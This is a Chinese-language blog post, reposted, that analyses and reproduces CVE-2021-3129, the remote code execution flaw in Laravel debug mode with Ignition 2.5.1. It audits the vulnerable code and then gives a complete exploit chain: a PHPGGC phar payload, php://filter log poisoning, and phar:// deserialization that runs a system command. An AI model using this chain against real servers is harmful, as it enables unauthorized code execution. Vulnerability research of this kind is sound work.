• Laravel Debug模式 RCE漏洞(CVE-2021-3129)分析复现


    复现环境

    PHP版本:7.4.15
    Laravel版本:8.4.2
    Ignition版本:2.5.1
    如果环境不好寻找可以直接使用vulhub提供的复现环境:docker pull vulhub/laravel:8.4.2 && docker run -itd -p 80:80 vulhub/laravel:8.4.2

    简要分析

    Laravel是一个由Taylor Otwell所创建,免费的开源 PHP Web 框架。在开发模式下,Laravel使用了Ignition提供的错误页面,在Ignition 2.5.1及之前的版本中,有类似这样的代码:

    $contents = file_get_contents($parameters['viewFile']);
    file_put_contents($parameters['viewFile'], $contents);
    

    攻击者可以通过phar://协议来执行Phar反序列化操作,进而执行任意代码。

    代码审计

    首先定位到漏洞的直接利用点——可以调用含漏洞类MakeViewVariableOptionalSolution的solution控制器中,在vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php中读到:

    <?php
    
    namespace FacadeIgnitionHttpControllers;
    
    use FacadeIgnitionHttpRequestsExecuteSolutionRequest;
    use FacadeIgnitionContractsSolutionProviderRepository;
    use IlluminateFoundationValidationValidatesRequests;
    
    class ExecuteSolutionController
    {
        use ValidatesRequests;
    
        public function __invoke(
            ExecuteSolutionRequest $request,
            SolutionProviderRepository $solutionProviderRepository
        ) {
            $solution = $request->getRunnableSolution();
    
            $solution->run($request->get('parameters', []));
    
            return response('');
        }
    }
    

    这里有一个__invoke魔术方法,并且会将get('parameters', [])获得的参数值传递进run()方法中,之后再跟进run()方法。
    可以在vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php65行附近看到关于run()的定义:

        public function run(array $parameters = [])
        {
            $output = $this->makeOptional($parameters);
            if ($output !== false) {
                file_put_contents($parameters['viewFile'], $output);
            }
        }
    

    可以看到这里存在一个file_put_contents()函数,调用该函数的前提是$output !== false,同时写入内容也是$output,而$output的值又受makeOptional()方法的控制,跟进该方法,在同文件73行可以找到:

        public function makeOptional(array $parameters = [])
        {
            $originalContents = file_get_contents($parameters['viewFile']);
            $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
            //先替换$variableName为$variableName ?? '',再写入文件
            $originalTokens = token_get_all(Blade::compileString($originalContents));
            $newTokens = token_get_all(Blade::compileString($newContents));
    
            $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
    
            if ($expectedTokens !== $newTokens) {
                return false;
            }
    
            return $newContents;
        }
    
        protected function generateExpectedTokens(array $originalTokens, string $variableName): array
        {
            $expectedTokens = [];
            foreach ($originalTokens as $token) {
                $expectedTokens[] = $token;
                if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                    $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                    $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                    $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                    $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
                }
            }
    
            return $expectedTokens;
        }
    

    重点在于

    $originalContents = file_get_contents($parameters['viewFile']);
    $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
    

    这行代码含义为:先替换$variableName为$variableName ?? '',再将传递的内容写入文件,如果写入过程没有出现异常(参考generateExpectedTokens()中的$expectedTokens变量),文件内容将被覆盖为新的内容(覆盖是由于file_put_contents()的写入性质),否则makeOptional()将返回False,并且不会写入文件。
    同时可以注意到,我们在这里通过传参可控的变量有viewFilevariableName,对这里的两个参数最终用途进行简化,我们可以看到两个参数的最终作用效果如下:

    $contents = file_get_contents($parameters['viewFile']);
    file_put_contents($parameters['viewFile'], $contents);
    

    但是实际上这里相当于将$parameters['viewFile']的值又一次写入了$parameters['viewFile'],看上去并没有任何作用。
    这个时候就引出了我很感兴趣的一种利用方式:利用框架本身的log日志文件(/storage/logs/laravel.log)来触发Phar反序列化,从而使这两行代码存在了利用的价值。
    先决条件在于这里的file_get_contents()可以触发phar反序列化,同时file_put_contents()的写入功能确保了可以写入phar包内容来进行反序列化,进而达到RCE的目的。
    因而我们可以通过寻找Laravel中可以用于执行命令的pop链来实现RCE,通过PHPGGC我们可以找到框架中可以RCE的类:
    php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output
    但是仅此仍然不够,log文件写入时会拼接如时间、路径等多余的字符串,像是这样:

    [2021-01-14 04:32:43] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
    [stacktrace]
    #0 [internal function]: Illuminate\Foundation\Bootstrap\HandleExceptions->handleError(2, 'file_get_conten...', '/Applications/M...', 75, Array)
    #1 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')
    #2 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->makeOptional(Array)
    #3 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->run(Array)
    #4 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\Ignition\Http\Controllers\ExecuteSolutionController->__invoke(Object(Facade\Ignition\Http\Requests\ExecuteSolutionRequest), Object(Facade\Ignition\SolutionProviders\SolutionProviderRepository))
    #5 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(254): Illuminate\Routing\ControllerDispatcher->dispatch(Object(Illuminate\Routing\Route), Object(Facade\Ignition\Http\Controllers\ExecuteSolutionController), '__invoke')
    #6 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(197): Illuminate\Routing\Route->runController()
    ...
    #34 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\Foundation\Http\Kernel->sendRequestThroughRouter(Object(Illuminate\Http\Request))
    #35 /Applications/MxSrvs/www/laravel/public/index.php(52): Illuminate\Foundation\Http\Kernel->handle(Object(Illuminate\Http\Request))
    #36 /Applications/MxSrvs/www/laravel/server.php(21): require_once('/Applications/M...')
    #37 {main}
    "}
    

    而Phar包是二进制文件,对其文件格式有着严格的要求,直接写入并包含log日志会导致phar包格式非法,从而无法触发反序列化。
    漏洞作者提出了利用php://filter协议的过滤器来对文件内容进行编码,利用编码非法字符导致返回空值的特性来清除掉非法字符。
    首先受启于P牛的谈一谈php://filter的妙用,我们可以多次convert.base64-decode编码来清除掉多余字符,得益于convert.base64-decode 过滤器会将一些非base64字符给过滤掉后再进行 decode
    但是用在此处的弊端也显而易见,首先我们不清楚清除所有多余字符需要编码的次数,不同于绕过死亡exit时只需将exit部分代码解码为乱码,在这里我们的利用条件是需要清除字符,其次如果使用base64-decode过滤器过滤中间包含=的字符串,PHP 将产生错误并且不返回任何内容。
    因而我们需要转向使用其他的过滤器来进行编码解码,这里作者提出使用convert.iconv.utf-8.utf-16be来将UTF-8的编码转换为UTF-16编码,从而使文件的原内容出现乱码,同时这里也会带来一个新的问题——出现空字节内容,使file_get_contents()抛出一个Warning,不过我们可以再使用convert.quoted-printable-decode过滤器来解码不可见字符,只需要我们使用=00来表示空字节内容再次传入即可。
    因而我们可以构造出清空并写入Payload的exp:

    php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=FILE
    

    前面两个过滤器用于写入和产生非法字符,而base64过滤器再清除掉非法字符,而我们只需要对Payload内容进行对应的编码即可完成写入。

    漏洞利用

    1.创建一个 PHPGGC 负载并对其进行编码:

    php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./=00/g'
    

    2.清空日志内容:

    POST发送

    viewFile: php://filter/read=consumed/resource=/path/to/storage/logs/laravel.log
    

    3.创建第一条日志内容,用于编码对齐:

    viewFile: AA
    

    4.创建Payload写入日志:

    palyoad为第一步获取到的内容

    viewFile: <PAYLOAD>
    

    5.使用过滤器将日志转换为有效的Phar包:

    清空其余字符并将payload解码为原内容,注意log日志路径可能需要修改

    viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=./storage/logs/laravel.log
    

    6.触发Phar反序列化:

    viewFile: phar://./storage/logs/laravel.log
    

    至此便完成了一次Phar反序列化到RCE的攻击过程,其中的许多思路都值得借鉴学习。

    参考链接

    Laravel <= v8.4.2 debug mode: Remote code execution
    Laravel Debug页面RCE(CVE-2021-3129)分析复现

    [ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com

  • 相关阅读:
    课程总结
    每日总结66
    每日总结65
    每日总结64
    每日总结63
    每日总结62
    每日总结61
    每日总结60
    偶滴点NET复习
    内部异常SocketException由于目标计算机积极拒绝
  • 原文地址:https://www.cnblogs.com/yesec/p/15139720.html
Copyright © 2020-2023  润新知